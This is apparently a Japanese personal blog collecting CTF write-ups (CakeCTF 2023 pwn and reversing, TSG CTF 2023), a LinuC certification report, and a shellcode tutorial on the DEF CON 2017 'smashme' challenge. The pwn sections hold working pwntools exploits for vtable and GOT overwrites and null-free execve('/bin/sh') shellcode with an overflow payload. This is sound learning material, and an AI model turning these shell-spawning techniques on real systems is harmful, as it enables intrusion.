CakeCTF2023復習:vtable4b(pwn), bofww(pwn)

Pwnが解けるようになりたいので、CakeCTF2023のPwnジャンルの問題を復習したい。

vtable4b

この問題は、コンテスト本番中では僕がRev問題を考えている間にチームメイトのdrafearさんがACしていた。

問題の概要

netcatの接続先情報が与えられる(解析用の実行ファイルは与えられない)

接続すると

Today, let's learn how to exploit C++ vtable!
You're going to abuse the following C++ class:

  class Cowsay {
  public:
    Cowsay(char *message) : message_(message) {}
    char*& message() { return message_; }
    virtual void dialogue();

  private:
    char *message_;
  };

An instance of this class is allocated in the heap:

  Cowsay *cowsay = new Cowsay(new char[0x18]());

You can
 1. Call `dialogue` method:
  cowsay->dialogue();

 2. Set `message`:
  std::cin >> cowsay->message();

Last but not least, here is the address of `win` function which you should call to get the flag:
  <win> = 0x55c36e52861a

1. Use cowsay
2. Change message
3. Display heap
>

と表示され、vtableをインタラクト形式で解説するプログラムのようなものが始まる。

  • 「1. Use cowsay」を実行すると、vtableを参照してCowsay::dialogue関数が実行される。
  • 「2. Change message」を実行すると、dialogue関数で表示するメッセージを変更できる
  • 「3. Display heap」を実行すると、現在のメモリ状態をリアルタイムで確認できる。

解法

とりあえずコマンド3を実行してみると以下のような出力が表示される。

> 3

  [ address ]    [ heap data ]
               +------------------+
0x55c36fb1aea0 | 0000000000000000 |
               +------------------+
0x55c36fb1aea8 | 0000000000000021 |
               +------------------+
0x55c36fb1aeb0 | 0000000000000000 | <-- message (= '')
               +------------------+
0x55c36fb1aeb8 | 0000000000000000 |
               +------------------+
0x55c36fb1aec0 | 0000000000000000 |
               +------------------+
0x55c36fb1aec8 | 0000000000000021 |
               +------------------+
0x55c36fb1aed0 | 000055c36e52bce8 | ---------------> vtable for Cowsay
               +------------------+                 +------------------+
0x55c36fb1aed8 | 000055c36fb1aeb0 |  0x55c36e52bce8 | 000055c36e5286e2 |
               +------------------+                 +------------------+
0x55c36fb1aee0 | 0000000000000000 |                 --> Cowsay::dialogue
               +------------------+
0x55c36fb1aee8 | 000000000000f121 |
               +------------------+

1. Use cowsay
2. Change message
3. Display heap
>

メモリアドレス自体は実行のたびに変化するが、messageとvtableのアドレスの位置関係は常に一定である。 また、コマンド2でmessageを書き換えることができるがバッファオーバーフロー脆弱性があり、長いメッセージを入れるとvtableの内容を上書きできてしまう。

ここで、win関数のアドレスを教えてくれているので、これでCowsay::dialogueのアドレスを上書きすることを考える。 vtableに格納されているのは対応する関数のメモリアドレスではなくポインタなので、この例ではアドレス0x563356670ed0に直接win関数のアドレス(0x55c36e52861a)を入れても駄目で、たとえば0x55c36fb1aeb0にwin関数のアドレスを入れた上で0x563356670ed0に値0x55c36fb1aeb0を入れるなどする必要がある。

メモリアドレスは毎回変化することから予め入力内容を用意しておくことはできないので、Pythonのpwntoolsを利用した。

from pwn import *
import time

conn = remote('vtable4b.2023.cakectf.com', 9000)
line = conn.recvline()
win_addr = 0
while line is not None:
    if "<win>" in line:
        win_addr = int(line[9::], 16)
        break
    line = conn.recvline()
conn.recv()

conn.sendline("3")
line = conn.recvline()
pointer_addr = 0
while line is not None:
    if "message" in line:
        pointer_addr = int(line[:14], 16)
        break
    line = conn.recvline()
conn.recv()

conn.sendline("2")
conn.sendline(p64(win_addr) + "a"*24 + p64(pointer_addr))

conn.sendline("1")
conn.recv()

time.sleep(5)
conn.interactive()

これを実行するとシェルを開くことができるので、親ディレクトリにあるflagファイルの内容を表示すればAC。

$ python2 solver.py 
[+] Opening connection to vtable4b.2023.cakectf.com on port 9000: Done
[*] Switching to interactive mode
Message: 1. Use cowsay
2. Change message
3. Display heap
> [+] You're trying to use vtable at 0x55a887544eb0
[+] Congratulations! Executing shell...
$ $ cat ../flag-806cb9c9719379667ca5616d9c8210f1.txt
CakeCTF{vt4bl3_1s_ju5t_4n_arr4y_0f_funct1on_p0int3rs}

bofww

コンテスト本番中に少し考えたが解けなかった問題。

問題の概要

netcatの接続先情報と解析用の実行ファイルが与えられる。 コンパイル元のソースコードもある。

実行すると名前と年齢を質問される。 入力すると、入力した内容が表示されて終了。

$ ./bofww 
What is your first name? takeo
How old are you? 27
Information:
Age: 27
Name: takeo

解法

問題のキャプションには "buffer overflow with win function" とあるのでバッファオーバーフローを利用する問題であることは間違いなさそうだが、Ghidraでデコンパイルしたコードを確認すると入力部分にカナリアチェックが用意されていることがわかる。

↓元のソースコード(入力を受け取る部分)

void input_person(int& age, std::string& name) {
  int _age;
  char _name[0x100];
  std::cout << "What is your first name? ";
  std::cin >> _name;
  std::cout << "How old are you? ";
  std::cin >> _age;
  name = _name;
  age = _age;
}

↓実行ファイルを逆コンパイルしたもの

void input_person(int *param_1,basic_string *param_2)
{
  long in_FS_OFFSET;
  int local_11c;
  char local_118 [264];
  long local_10;
  
  local_10 = *(long *)(in_FS_OFFSET + 0x28);
  std::operator<<((basic_ostream *)std::cout,"What is your first name? ");
  std::operator>>((basic_istream *)std::cin,local_118);
  std::operator<<((basic_ostream *)std::cout,"How old are you? ");
  std::basic_istream<char,std::char_traits<char>>::operator>>
            ((basic_istream<char,std::char_traits<char>> *)std::cin,&local_11c);
  std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::operator=
            ((basic_string<char,std::char_traits<char>,std::allocator<char>> *)param_2,local_118);
  *param_1 = local_11c;
  if (local_10 != *(long *)(in_FS_OFFSET + 0x28)) {
                    /* WARNING: Subroutine does not return */
    __stack_chk_fail();
  }
  return;
}

nameに265バイト以上の文字列を入力すると__stack_chk_fail()が呼び出されて強制終了するという仕組みのようだ。

ここでコンテストのDiscordやwriteupなどを色々見てみると、__stack_chk_fail()のGOTをwin関数に書き換えると良いとのことで実際にやってみる。

input_person関数の

std::__cxx11::basic_string<char,std::char_traits<char>,std::allocator<char>>::operator= ((basic_string<char,std::char_traits<char>,std::allocator<char>> *)param_2,local_118);

の部分は、元のソースコードでいうと

  name = _name;

に対応しており、*nameに_nameの内容を書き込んでいる。 ここでnameのポインタを__stack_chk_fail()のGOTのポインタに書き換えることができれば、_nameに入力した内容を__stack_chk_fail()のGOTに書き込むことができると考えられる。

実際に代入部分(0x004013b4)をgdbで調べてみると

Guessed arguments:
arg[0]: 0x7fffffffe010 --> 0x7fffffffe020 --> 0x7ffff7faff00 --> 0x0
arg[1]: 0x7fffffffdee0 --> 0x6f656b6174 ('takeo')
arg[2]: 0x7fffffffdee0 --> 0x6f656b6174 ('takeo')

となっており、代入後は

RAX: 0x7fffffffe010 --> 0x7fffffffe020 --> 0x6f656b6174 ('takeo')

となっていることから、0x7fffffffdee0(入力した_name)の内容を0x7fffffffe010の指すアドレス(0x7fffffffe020)に書き込んでいるようだ。

さらに、__stack_chk_fail()の呼び出し部分を調べると

0x4013d8 <_Z12input_personRiRNSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEEE+200>:      call   0x401190 <__stack_chk_fail@plt>

となっており、

gdb-peda$ disas 0x401190
Dump of assembler code for function __stack_chk_fail@plt:
   0x0000000000401190 <+0>:     endbr64 
   0x0000000000401194 <+4>:     bnd jmp QWORD PTR [rip+0x2eb5]        # 0x404050 <__stack_chk_fail@got.plt>
   0x000000000040119b <+11>:    nop    DWORD PTR [rax+rax*1+0x0]
End of assembler dump.

より0x404050が__stack_chk_fail@got.pltのアドレスであることがわかる。

ここでwin関数のアドレスは0x004012f6なので、0x7fffffffdee0(_nameの先頭)に0x004012f6を書き込んだ上で0x7fffffffe010を0x404050(__stack_chk_fail@got.plt)で上書きすることができればカナリアチェックでfailした瞬間にwin関数が呼び出されることになると考えられる。

よって、

from pwn import *

win_addr = 0x004012f6
got = 0x404050

r = process("./bofww")
r.recvuntil("What is your first name?")
r.sendline(p64(win_addr) + p64(0x0) + "a"*8*0x24 + p64(got))
r.recvuntil("How old are you?")
r.sendline("0")
r.interactive()

とすれば、実際にwin関数を呼び出してシェルを開くことができた(サーバが既に閉じてしまっていたのでローカルにflagを用意した)

$ python2 solver.py
[+] Starting local process './bofww': pid 3996
[*] Switching to interactive mode
 $ cat flag.txt
TAKEO{You_got_the_flag!}

CakeCTF 2023に参加した

CakeCTF 2023に3人チームで参加した。

僕は今回もRevカテゴリの問題をやっていて、2問解くことができた。

nande

解法

exe形式の実行ファイルとpdbファイルが与えられる。 与えられたexeファイルを実行するとFlagの正誤判定をしてくれる。

$ ./nand.exe 
Usage: nand.exe <flag>
$ ./nand.exe CakeCTF{test}
Wrong...

とりあえずGhidraにexeファイルとpdbファイルを読み込ませてデコンパイルする。 内部実装を確認すると、入力されたFlagを暗号化したものを比較しているようだった。

暗号化のアルゴリズムはそれほど複雑ではないので、デバッグ実行をしなくてもデコンパイルされたコードを読んで理解することができた。 flagの文字列をバイナリとして見たときの各bitに対して順番にNAND演算を行う処理を4660周繰り返すというもので、一見復元が難しいように見えるがよく見るとNAND演算4つを合わせたMODULEという関数全体がXOR演算になっていることがわかる。

void __cdecl MODULE(uchar param_1,uchar param_2,uchar *param_3)

{
  undefined auStack_38 [32];
  uchar local_18;
  uchar local_17;
  uchar local_16 [6];
  ulonglong local_10;
  
  local_10 = __security_cookie ^ (ulonglong)auStack_38;
  NAND(param_1,param_2,&local_18);
  NAND(param_1,local_18,local_16);
  NAND(param_2,local_18,&local_17);
  NAND(local_16[0],local_17,param_3);
  __security_check_cookie();
  return;
}

XOR演算は自身を逆元として持つので、バイナリから暗号化済みFlagを取り出して逆向きに適用していけば平文が手に入る。

goal = [1,1,1,1,1,0,0,1,1,0,0,1,0,0,1,0,0,1,1,0,0,0,0,1,1,1,1,1,0,0,1,1,1,1,0,1,0,1,1,1,0,0,0,1,1,0,1,1,1,1,0,1,0,1,0,0,1,0,1,0,1,1,0,1,0,0,1,1,0,1,1,0,0,0,0,0,1,0,0,0,0,1,0,0,1,0,0,1,0,1,1,1,0,0,1,1,1,0,0,1,1,1,0,1,0,1,1,1,1,0,1,1,0,0,0,1,1,0,0,1,1,0,1,1,0,0,0,1,0,1,1,1,0,1,0,0,0,0,1,0,0,0,0,1,1,1,0,1,0,0,0,1,1,0,0,1,0,0,0,0,0,1,0,0,0,0,1,1,1,1,1,1,1,1,1,0,1,0,1,0,0,1,1,0,1,1,1,0,1,0,1,0,1,0,0,0,0,0,0,1,1,0,1,1,0,1,1,0,1,0,1,0,1,0,0,1,1,1,1,1,0,1,1,0,1,1,1,0,0,1,0,1,1,0,1,1,0,0,1,0,0,1,1,0,0,1,1,1,0,1,0,1,0,1,1,0]

def nand(a, b):
    return ~(a & b) + 2

def module(a, b):   # これXORですね
    A = nand(a, b)
    B = nand(a, A)
    C = nand(b, A)
    return nand(B, C)

def circuit(a, b):
    for i in range(4660):
        for j in range(255):
            b[j] = module(a[j], a[j+1])
        b[255] = module(a[255], 1)
        for j in range(256):
            a[j] = b[j]
    return b

def circuit_rev(a, b):
    for i in range(4660):
        b[255] = module(a[255], 1)
        for j in range(254, -1, -1):
            b[j] = module(a[j], b[j+1])
        for j in range(256):
            a[j] = b[j]
    return b

flag_bin = [0] * 256
circuit_rev(goal, flag_bin)

# print(flag_bin)
flag = ""
for i in range(32):
    c = 0
    for j in range(8):
        c |= (flag_bin[i*8+j] << (j))
    # print(c)
    flag += chr(c)

print(flag)
$ python3 crypto.py 
CakeCTF{h2fsCHAo3xOsBZefcWudTa4}

Cake Puzzle

解法

与えられたELFファイルを実行するとコマンドラインのプロンプトが表示されるが、何かを入力しても反応はなく次の入力を求められ続ける。

$ ./chal 
> test
> test2
> aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
>

デコンパイルしてよく読むと、内部にMという配列があって、入力に応じてそれをswapしているようだった。 ここで想定されている入力が"U", "R", "D", "L"であることがわかるので、配列のswapと4近傍、また問題のキャプションに "Someone cut a cake and scrambled." と書かれていることから、15パズルを連想した。

そのことを念頭に置いた上でコードを読むと、"U", "R", "D", "L"が入力されるたびに(何も表示されないが)内部で15パズルが動いていて、それが解けたときにFlagを出力するプログラムであることが理解できた。

gdb-pedaを使ってメモリからゲーム開始時の配列Mを取り出すと

0x555555558080 <M>:     0x445856db      0x4c230304      0x0022449f      0x671a96b7
0x555555558090 <M+16>:  0x6c5644f7      0x7ff46287      0x6ee9c829      0x5cda2e72
0x5555555580a0 <M+32>:  0x00000000      0x698e88c9      0x33e65a4f      0x50cc5c54
0x5555555580b0 <M+48>:  0x1349831a      0x53c88f74      0x25858ab9      0x72f976d8

となっていて、0x0を上下左右に動かして配列をソートすることができればクリア。

脳内で解くのは無理なので、Pythonで15パズルを実装した。

state = ['5', '6', '1', 'A', 'C', 'F', 'D', '9', '0', 'B', '4', '7', '2', '8', '3', 'E']
goal = ['0', '1', '2', '3', '4', '5', '6', '7', '8', '9', 'A', 'B', 'C', 'D', 'E', 'F']

def dump(m):
    for i in range(4):
        print(f"{m[i*4+0]} {m[i*4+1]} {m[i*4+2]} {m[i*4+3]}")

x = 2
y = 0
history = ""
while True:
    print(f"history:{history}")
    dump(state)
    str = input()
    c = str[0]
    if c == 'w' and x > 0:
        state[x*4+y], state[(x-1)*4+y] = state[(x-1)*4+y], state[x*4+y]
        x-=1
        history += 'U'
    if c == 's' and x < 3:
        state[x*4+y], state[(x+1)*4+y] = state[(x+1)*4+y], state[x*4+y]
        x+=1
        history += 'D'
    if c == 'a' and y > 0:
        state[x*4+y], state[x*4+(y-1)] = state[x*4+(y-1)], state[x*4+y]
        y-=1
        history += 'L'
    if c == 'd' and y < 3:
        state[x*4+y], state[x*4+(y+1)] = state[x*4+(y+1)], state[x*4+y]
        y+=1
        history += 'R'

これを頑張って手動で解くと、たとえば

RURDLDRRULDRUULLDDRUULDRULLURRDLDLURRDLLURDDLUURDDLURRULDRRULLLDRRRULDRUULRDLDLUURRDLDLURULDRURLDRULLDRURDLURDLLURRDLLDRUULDDLURRULLDDRULURDLURLDRULDRULDRRULLDRULRDRULLDRULDRURDLULDRULDRRULLDRRULL

と動かせばいいことがわかるので、これを入力してFlag

CakeCTF{wh0_at3_a_missing_pi3c3_0f_a_cak3}

を入手できた。

ちなみに15パズルは80手あればどんな盤面でも解けるらしいが、上の解答例は196手である(下手すぎ)

感想

Revカテゴリの中でもオーソドックスな問題はある程度解けるようになってきた気がするけど、まだ1問にかける時間が長いと感じる。 Pwnカテゴリもカバーできるようになりたいと思っているがコンテスト中に解けない場合が多いので引き続き勉強したい。

Pwn人材の不足を感じる

TSG-CTF2023: beginners_rev_2023(Reversing)

東京大学のサークル主催のTSG CTF 2023に3人チームで参加した。 いつも通り開始と同時にReversingの問題をやっていたが、コンテスト自体がこれまでよりも少し難しめということもあり1問しか解けなかった🥲

ctf.tsg.ne.jp

問題の概要(beginners_rev_2023)

実行ファイル「beginners-rev-2023.exe」が与えられる。

解法

beginners-rev-2023.exeを実行すると入力受付状態になり、適当な文字列を入力すると"Wrong..."と表示されて終了した。

$ ./beginners-rev-2023.exe 
Flag> test
Wrong...

とりあえずflagのバリデーションをしているんだろうと当たりをつけて、いつものようにghidraで逆コンパイルしてみる。 "Wrong..."という文字列が格納されている場所と、それを呼びだしている場所を探すと中核となる関数をすぐに見つけることができた。

これを開くと配列に対して大量にビットシフトとXOR演算をしているのが見え若干ひるむ。

ところで、今回の実行ファイルはいつものELFファイルではなくPE32+実行ファイルであり、Windowsで実行可能である。

$ file beginners-rev-2023.exe 
beginners-rev-2023.exe: PE32+ executable (console) x86-64, for MS Windows

x64dbgでデバッグできるというヒントを問題文でくれているので、さっそくインストールする。 GUIアプリなのでデバッグしやすくて助かる。 x64dbg.com

実際に動かしながらflagのバリデーションの処理を調べていくと、MEMCMPでRCXレジスタRDXレジスタの指すメモリを比較している部分があった。 ユーザーが入力した文字列を何らかの方法で暗号化し、それをあらかじめ用意したバイト列と比べているようだった。

正解のバイト列はRDX側に入っており、

07 56 e5 58 71 89 9a ca f0 67 03 2d 49 fb 6e 86 c2 f7 48 ca 3c 43 db 8e 04 2a 56 4a 97 33 a1 a2 07 83 f0 89 19 13 77 b4 9f 7d 7b 9c dd 8e fd ad b5 e2 28 0e 06 af e5 e3 86 c3 08 ad e6 4c de 63 a3 5f 1e 96 34 7d 9d 19 f5 c8 84 7f 7b 62 2a 6b c1 28 3b 6d 09 ef fc cb a0 90 9a 3e 66 a2 4e 06 90 2c 9d ae 3c 99 40 53 4c 69 63 e7 b9 a8 b3 87 a5 97 98 fe 1f 20 51 a7 ae 0d 00 ab 16 35 59 3d 08 1b 1c 92 e2 4f 1d 86 a5 6e 0a 14 45 4d 61 08 69 c3 12 a2 eb 50 13 93 22 e2 c4 10 ca 5f b2 0b a2 30 c8 54 91 3a 37 fd d2 10 ab 5a f8 38 f3 d3 d5 85 58 de df c0 f4 17 4e f7 31 79 dd 41 2f b3 20 c7 ec 98 5e ae f7 a9 cb 27 13 72 fe ca 64 ff 43 93 80 3e 1e e5 99 bf 41 4b 9d 85 4e 0f 99 94 57 e1 63 d9 01 85 78 8a 06 fe 9d 41 32 74 55 83 b2 85 e9 9f c6 2c 4b 62 8f bf 7d 57 c8 76 3b 31 5e 87 60 89 35 41 c1 52 6c d0 0b 7d ca 60 5d 82 19 b0 96 5e 16 e7 9b 2f 37 5f c9 c5 f3 20 c3 45 cb 47 a1 cc 79 e5 b6 fb d4 55 db c1 35 9b 8b fa 38 d5 b2 b5 e0 4f 4d 6c 4f 8c 0c 42 bc 8e b3 78 48 e4 87 8e 34 a3 1d 01 53 98 71 fa 8f 2f e3 7a 6b b9 1b b6 7e 34 7f c8 c4 6c ab 45 4d 81 ef ee c3 d9 db 13 5b 63 90 fc 34 18 81 bc d1 18 48 bb 7c 24 5b 56 2b 35 6b d7 f9 d3 d5 2b e2 24 d8 50 f1 ec d5 e6 29 55 66 f2 f7 28 20 7d f3 47 40 03 11 4a 47 a5 b4 74 15 35 d0 f0 e5 4c 04 b5 59 fe fc 45 9d 3a a1 3f 1a a7 a8 51 e5 65 f1 56 ee de fc c4 87 f5 fa 79 31 07 0a 3f 41 28 d1 59 17 4d 02 e4 5a 22 3a bc d2 cd 80 bc 2a 49 f0 7f 97 a1 90 59 01 8d 25 43 d8 00 ea d8 4f e2 4e 2b 06 fd 7e 16 a9 92 c4 fd b5 6a 82 06 18 0c 0a b7 b8 29 8f 87 63 65 25 b9 7a d0 6e 30 3c f2 f7 c2 30 86

となっていた。

左下の選択部分が問題のバイト列

つまり、暗号化の処理を調べて上記のバイト列を復号できればflagが得られると考えられる。 また、試しに"TSGCTF{"で始まる文字列を入力してみると最初の4バイトが一致するので、前から順番に暗号化するタイプのアルゴリズムなのでは?とあたりを付けた。

ここからは暗号化の処理を調べていく。 暗号化の処理は3段階に分かれていて、

処理A → 処理B → 処理A

のような構造になっていた。

処理A

入力した文字列に処理Aが施されるところをデバッガを使って観察してみると前から8バイトずつ順番に暗号化されていくので、ブロック暗号であることが分かる。 このことを念頭に置いて逆コンパイルされたコードを読むと、文字列の先頭から順番に8バイトずつ取り(Aとする)

A' = A ^ (A >> 12)

という処理を行っているようだった。

これを復号するのは簡単で、

A = A' ^ (A' >> 12) ^ (A' >> 24) ^ (A' >> 36) ^ (A' >> 48) ^ (A' >> 60)

である。

処理B

処理Bはコードを見るとかなり複雑で追うのは難しいように見えるが、少し気合を入れてデバッガで処理を追っていくと元の文字列を1文字ずつ暗号化していくストリーム暗号になっている。 さらに、よく見ると複雑なのは埋め込まれたシードから乱数を生成している部分で、結局やってることは各文字に決まった値を1回ずつXOR演算しているだけである(ということに気づくのに時間を要した)

処理Bを行う前と後の文字列はそれぞれメモリから取り出すことができるので、この差分を調べれば乱数生成の処理を追わずとも何文字目に何がXORされているのか突き止めることができる。

これで暗号化のアルゴリズムが分かったので、Pythonなどで復号の処理を書いてシミュレーションすれば

TSGCTF{y0u_w0uld_und3r57and_h0w_70_d3cryp7_arc4_and_h0w_70_d3cryp7_7h3_l3ak3d_5af3_l1nk1ng_p01n73r}

を得ることができた。 Flagの内容から察するに処理BはARC4という名前の暗号だったようだ。

感想

TSG CTF 2023で正の得点を取った560チームのなかで、この問題を解いていたのは24チームだった。 他のカテゴリの1問目よりかなり少ない数字なので、少し難易度高めな問題を解けたと考えることにした。

見直してみると簡単に思えるが、コンテスト中は逆コンパイルしたコードを見たりデバッガで処理を追っている時間が大半なので所要時間としてはかなりかかってしまった。 Reversingの2問目(T the weakest)はコンテスト中に解けなかったので、後で復習したい。

LinuC レベル1 の認定を取得した

LinuCについて

LinuC(リナック)は、クラウド/DX時代のITエンジニアに求められる、システム構築から運用管理に必要とされるスキルを証明する技術者認定である。 LinuC - Wikipedia

LinuCLinux技術者認定の一種であり、今回はそのうちの一番基礎的なレベルであるレベル1を受験した。 LinuC 101 / 102 という2つの試験に両方合格することでレベル1の認定を受けることができる。

もともとLinuxの認定としてはLPICが有名だったが色々あって分裂したらしく、LinuCの運営元はかつてのLPICと同じところらしい。 今回受けるのは別にどっちでもよかったのだが、LinuCのほうが試験範囲がなんとなく現代的な気がしたのでLinuCを受験することにした。

受けた理由

Linux自体は4,5年ほど前から使っていて、そのとき必要な範囲を調べて問題なく使えてはいるものの体系的な知識を持ってないなと思ったため。

勉強

今回はLPI-Japanの認定教材であるLinuC教科書(あずき本)とスピードマスター問題集を使って勉強をした。

Linux教科書 LinuCレベル1 Version 10.0対応 | 中島 能和, 濱野 賢一朗 |本 | 通販 | Amazon Amazon.co.jp: Linux教科書 LinuC レベル1 スピードマスター問題集 Version10.0対応 : 山本 道子, 大竹 龍史: 本

試験範囲には各コマンドのオプションなど実際使うときには調べればいいだろうというようなものも結構あるので、完璧に覚えることは目指さず8割くらいを安定させることを目標にした。

資格勉強ではまず問題集から入って足りない知識を参考書で補完するのがいいらしいが、今回はどちらかというと合格というよりは満遍なく知りたかったので教科書の丸読みから入った。 まず101試験の範囲で

  1. 教科書の全部のセクションを読む
  2. 問題集の全部のセクションをやって解説を読む
  3. 教科書の各セクションをもう一回読む
  4. 問題集の各セクションをもう二回やる

という順序で勉強をしたところ、模擬試験で8割くらい取れるようになったので受験。合格したので102も同じ感じで勉強して受験した。 それぞれ3週間くらい勉強した(1日の勉強時間はまちまち)

成績

101試験

スコア693 / 合格点480

セクション 正解率
Linuxのインストールと仮想マシン・コンテナの利用 87%
ファイル・ディレクトリの操作と管理 90%
GNUUnixのコマンド 80%
リポジトリとパッケージ管理 87%
ハードウェア、ディスク、パーティションファイルシステム 90%

102試験

スコア666 / 合格点480

セクション 正解率
シェルとスクリプト 90%
ネットワークの基礎 92%
システム管理 66%
重要なシステムサービス 77%
セキュリティ 91%
オープンソースの文化 66%

何点満点なのかという情報がなぜか開示されていないのだが、合格点や正解率から恐らく800点なのではないかと思っている。どちらも8割を超えていそうなのでよかった。

感想

元々使っている範囲の知識は自分で調べていたので合格したからといっていきなり何かが変わるというわけではないが、当初の目的通りある程度包括的な知識がついた気がした。

最近CTFに何度か参加しており、今回の試験範囲で問われるような知識が必要になる問題もあるようなので役に立つかもしれない。 一応レベル2の教科書も買ってみたが、自分には現状あまり必要にはならない範囲のようなのでしばらくは受験しないと思う。

smashme(DEFCON Qual 2017)をShellcodeとROPで解く

経緯

CTFのコンテストに初めて参加する前に「入門 セキュリティコンテスト」という本を買ったのだが、それを今更読んでいるとPwnの例題としてSECCON2017 Qualの「baby_stack」という問題が紹介されていた。 その解法として紹介されていたROPという手法が興味深かったので勉強してみた(本当はCosmic Rayの前にこちらをやろうと思ってたのだが、どう考えてもこっちのほうが難しい内容だと思ったので順番を入れ替えた)

ShellCodeについて

Cosmic Rayではスタックバッファオーバーフローを利用してスタックに格納されているmain関数のリターンアドレスをwin関数のアドレスに書き換えることでflagを取得したが、プログラムの内部に攻撃者にとって都合のいい関数がそのまま用意されているとは限らない。 そういった処理が存在しない場合であっても、スタック領域に実行したい処理を機械語で書き込んでからジャンプすることで任意の処理を実行させることができる。 シェルを起動する場合が多いことから、こういったコードはシェルコードと呼ばれている(転じて、シェルを起動しない場合もシェルコードと呼ぶらしい)

アセンブリでシェルを起動する方法

アセンブリでシェルを起動するにはSYSCALL命令を利用する。 64bit環境でシステムコールからシェルを起動する(execve("/bin/sh", NULL, NULL)を呼び出す)場合は

よって、単純には

mov rax, 0x0068732f6e69622f;    "/bin/sh"
push rax;   スタックに積む
mov rax, 0x3b;  システムコール番号59
mov rdi, rsp;   第一引数("/bin/sh"のポインタ=スタックの現在位置)
mov rsi, 0x0;   第二引数(NULL)
mov rdx, 0x0;   第三引数(NULL)
syscall;

を実行すればよい。 これを機械語に変換すると

$ nasm -f elf64 code.asm && ld code.o -o code.out
$ objdump -M intel -d code.out

code.out:     file format elf64-x86-64


Disassembly of section .text:

0000000000401000 <__bss_start-0x1000>:
  401000:       48 b8 2f 62 69 6e 2f    movabs rax,0x68732f6e69622f
  401007:       73 68 00
  40100a:       50                      push   rax
  40100b:       b8 3b 00 00 00          mov    eax,0x3b
  401010:       48 89 e7                mov    rdi,rsp
  401013:       be 00 00 00 00          mov    esi,0x0
  401018:       ba 00 00 00 00          mov    edx,0x0
  40101d:       0f 05                   syscall

となる。

しかし、一般にはシェルコードの途中にヌル終端文字(0x00)を用いることができないらしい。 ヌル文字を用いることなく同様の処理を実行するには、たとえば次のように書き換えることができる。

  401000:       48 31 f6                xor    rsi,rsi
  401003:       56                      push   rsi
  401004:       48 b8 2f 62 69 6e 2f    movabs rax,0x68732f2f6e69622f
  40100b:       2f 73 68
  40100e:       50                      push   rax
  40100f:       48 31 c0                xor    rax,rax
  401012:       b0 3b                   mov    al,0x3b
  401014:       48 89 e7                mov    rdi,rsp
  401017:       48 31 d2                xor    rdx,rdx
  40101a:       0f 05                   syscall

文字列を"/bin//sh"に書き換えることで0埋めが起こらないようにした。 同時に、あらかじめ0をpushしておくことで終端文字の代わりとした。

追記:シェルコードにnull文字が使えないというのは2023年9月現在Wikipediaに書かれている記述を参考にしている。 しかし、実際のところシェルコードにおいてnull文字を使ってはいけないのは「null文字を文字列の終端とみなす関数(C言語のstrcpyなど)をシェルコードが通ることで動作に支障がある場合」であり、すべてのシェルコードにおいてということではない。 (このあとROPを勉強しているときに普通にnull文字を送信しているexploitコードを見て気づいた)
smashmeの場合においては入力に特定の文字列が含まれているかどうかをstrstrで判定しているため、キー文字列の前にnull文字があると判定に失敗してしまう。 かといってキー文字列をシェルコードより前に持ってくるとJMP RDIで命令の先頭に飛べないため、結果的にnull文字排除を行うべきだと考えられる。

smashme (DEF CON CTF Qualifier 2017)

ここで、練習のためにシェルコードが想定解となっている問題を一つ探して解いてみる。

問題概要

与えられたバイナリを実行すると入力を求められ、文字列を入力するとそのまま終了する。

$ ./smashme 
Welcome to the Dr. Phil Show. Wanna smash?
yes

解法

まず、与えられたバイナリに対してchecksecを実行して「NX disabled, NO PIE」となっていることを確認する。

$ checksec --file=smashme
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      Symbols         FORTIFY Fortified       Fortifiable     FILE
Partial RELRO   No canary found   NX disabled   No PIE          No RPATH   No RUNPATH   1886) Symbols     No    0               0               smashme

さらに、Ghidraを使って逆コンパイルするとmain関数の挙動がわかる。

undefined8 main(void)
{
  char *pcVar1;
  char local_48 [64];
  
  puts("Welcome to the Dr. Phil Show. Wanna smash?");
  fflush((FILE *)stdin);
  gets(local_48);
  pcVar1 = strstr(local_48,"Smash me outside, how bout dAAAAAAAAAAA");
  if (pcVar1 != (char *)0x0) {
    return 0;
  }
  exit(0);
}

動作としては見ての通りで、一度だけ入力を受け付けて、入力された文字列に特定の文字列が含まれていればreturnするが、そうでなければ即座に終了するというもの。 入力の受け取りにgetsを使っているのでスタックバッファオーバーフロー脆弱性があるというのがポイント。

今回はこの脆弱性を利用して任意コード実行を行い、システムコールでシェルを起動することでディレクトリ内に存在するflag.txtの内容を盗み見ることを考える。 そこで、先ほど作ったシェルコードをスタックに埋め込んで実行したい。

gdbで調べたところ、入力文字列が入るメモリアドレスの先頭は 0x7fffffffe010 、main関数のリターンアドレスの先頭は 0x7fffffffe058 だった。 入力に含める必要がある文字列を最初に持ってきた場合、自由に使えるアドレスは 0x7fffffffe037 からということになる。 リターンアドレスまでは33バイト使えて、先程作ったシェルコードは28バイトなので埋め込めそうだ。 余った部分はNOP命令(0x90)で埋めて、最後にリターンアドレスを 0x7fffffffe037 で上書きしてみる。

$ (python2 -c 'print "Smash me outside, how bout dAAAAAAAAAAA" + "\x48\x31\xf6\x56\x48\xb8\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x50\x48\x31\xc0\xb0\x3b\x48\x89\xe7\x48\x31\xd2\x0f\x05" + "\x90\x90\x90\x90\x90" + "\x37\xe0\xff\xff\xff\x7f\x00\x00"') | ./smashme
Welcome to the Dr. Phil Show. Wanna smash?
Segmentation fault

これを実行したところ、うまくいかなかった。

gdbでメモリを見ながらデバッグしてみると、シェルコードの処理中に値を2回pushしているせいでシェルコード自体を上書きしてしまっているようだった。 通常であればテキスト領域とスタック領域はメモリの両端にあるのでスタックに書き込んだ値がコードを上書きしてしまうということはないが、今回はスタック領域にコードを書き込んで無理やり実行しているのでこういうことが起こるらしい。

しかも、スクショを取ろうと思って別の端末で同じことをやったらスタックのアドレスが違っていた。 先程はリターンアドレスを 0x7fffffffe037 で決め打ちしていたが、端末によってスタックのアドレスが異なるのであればこの方法は使えない(コンテスト本番では実行ファイルはローカルではなくサーバ上にあるため)。 スタックに対してASLRが適用されており、ランダムなオフセットが入っているようだった。

